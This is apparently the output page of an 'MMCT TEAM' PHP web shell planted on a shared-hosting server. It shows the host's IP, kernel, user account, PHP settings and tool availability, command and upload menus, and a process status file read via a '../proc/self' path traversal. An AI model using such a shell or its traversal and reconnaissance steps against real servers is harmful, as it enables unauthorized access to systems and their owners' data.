MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 3.136.234.62
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /../proc/self/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../proc/self/status
Name:	lsphp
Umask:	0022
State:	R (running)
Tgid:	390363
Ngid:	0
Pid:	390363
PPid:	378479
TracerPid:	0
Uid:	926327694	926327694	926327694	926327694
Gid:	1053599048	1053599048	1053599048	1053599048
FDSize:	64
Groups:	1053599048 
NStgid:	390363
NSpid:	390363
NSpgid:	390363
NSsid:	390363
VmPeak:	  591944 kB
VmSize:	  591944 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   16288 kB
VmRSS:	   16288 kB
RssAnon:	    7512 kB
RssFile:	    8248 kB
RssShmem:	     528 kB
VmData:	   22100 kB
VmStk:	    1072 kB
VmExe:	    4972 kB
VmLib:	   91456 kB
VmPTE:	     732 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	0/2060609
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000001000000
SigCgt:	0000000184005e6f
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ffffffff,ffffffff
Cpus_allowed_list:	0-63
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0000000f
Mems_allowed_list:	0-3
voluntary_ctxt_switches:	5
nonvoluntary_ctxt_switches:	0

MMCT - 2023